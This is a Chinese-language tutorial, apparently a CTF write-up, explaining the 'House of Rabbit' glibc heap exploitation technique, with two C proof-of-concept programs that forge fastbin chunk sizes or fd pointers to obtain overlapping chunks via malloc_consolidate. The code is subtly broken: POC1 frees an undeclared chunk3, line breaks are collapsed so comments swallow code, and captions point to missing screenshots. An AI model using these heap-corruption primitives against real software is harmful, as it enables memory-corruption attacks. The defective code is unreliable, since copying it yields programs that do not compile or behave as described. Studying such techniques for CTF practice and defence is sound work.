House of Rabbit
介绍:
- House of rabbit 是一种伪造堆块的技术,早在 2017 年已经提出,但在最近两个月才在 CTF 比赛中出现。我们一般运用在 fastbin attack 中,因为 unsorted bin 等其它的 bin 有更好的利用手段。
原理:
- 我们知道,fastbin 中会把相同的 size 的被释放的堆块用一个单向链表管理,分配的时候会检查 size 是否合理,如果不合理程序就会异常退出。而 house of rabbit 就利用了在 malloc consolidate 的时候 fastbin 中的堆块进行合并时 size 没有进行检查从而伪造一个假的堆块,为进一步的利用做准备。
- 利用条件:
- 可以修改 fastbin 的 fd 指针或 size
- 可以触发 malloc consolidate(merge top 或 malloc big chunk 等等)
POC1:
-
modify the size of fastbin chunk:
#include <stdlib.h> #include <stdio.h> #include <string.h> int main(void) {unsigned long* chunk1=malloc(0x40); //0x602000unsigned long* chunk2=malloc(0x40); //0x602050malloc(0x10);free(chunk1);free(chunk3);chunk1[-1]=0xa1; //modify chunk1 size to be 0xa1malloc(0x400); //allocate a large chunk, trigger malloc_consolidatemalloc(0x90); //申请到修改size后的chunk,并造成overlappingreturn 0; }
调试分析:先释放掉两个chunk
修改chunk1的size字段:
再分配一个较大的size,触发maloc_consolidate函数 (没有堆size进行检查),将fastbin整理到small bin中,将其直接放入到small bin中,后面申请chunk时就会造成overlapping:
POC2
-
modify FD pointer:
#include <stdlib.h> #include <stdio.h> #include <string.h> int main(void) {unsigned long* chunk1=malloc(0x40); //0x602000unsigned long* chunk2=malloc(0x100);//0x602050chunk2[1]=0x31; //fake chunk size 0x30chunk2[7]=0x21; //fake chunk's next chunkchunk2[11]=0x21;//fake chunk's next chunk's next chuckfree(chunk1);chunk1[0]=0x602060;// modify the fd of chunk1malloc(5000);// malloc a big chunk to trigger malloc consolidatereturn 0; }
-
调试,修改前的堆:
伪造fake_chunk,这里为什么size字段填1,可以看这篇文章伪造unsortedbin释放时 top chunk的衔接问题:这里甚至可以将fake_chunk_next的size字段给为0x11:
faka_chunk_next的size字段给为0x11仍然可以通过检查:
再分配一个较大的size,触发maloc_consolidate函数 (没有堆size进行检查),将fastbin整理到small bin中,将其直接放入到small bin中,后面申请chunk时就会造成overlapping:
总结
House of rabbit 的优点是容易构造 overlap chunk ,由于可以基于 fastbin attack,甚至不需要 leak 就可以完成攻击。